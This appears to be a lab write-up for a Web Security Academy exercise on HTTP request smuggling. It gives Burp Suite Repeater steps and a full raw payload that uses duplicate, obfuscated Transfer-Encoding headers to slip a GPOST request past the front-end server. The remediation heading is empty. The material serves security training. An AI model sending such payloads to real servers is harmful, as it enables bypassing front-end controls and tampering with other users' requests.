**SCENARIO**

This application involves a front-end and back-end server, and the two servers handle duplicate HTTP request headers in different ways. The front-end server rejects requests that aren't using the GET or POST method. We will try to smuggle a request to the back-end server, so that the next request processed by the back-end server appears to use the method GPOST.

**PROCEDURE**

1. Open the web application and send the GET request for homepage to BurpSuite’s Repeater.
2. Now right click on the request and click **Change Request Method** to change the request to **POST** as we can not send body for **GET** requests.
3. Inject the payload in the Repeater tab and send the request twice.

**PAYLOAD**

POST / HTTP/1.1

Host: 0a900044039f58cd8484195e0033005e.web-security-academy.net

Content-Type: application/x-www-form-urlencoded

Content-Length: 4

Transfer-encoding: chunked

Transfer-encoding: cow

5c

GPOST / HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Content-Length: 15

x=1

0

**REMEDIATION**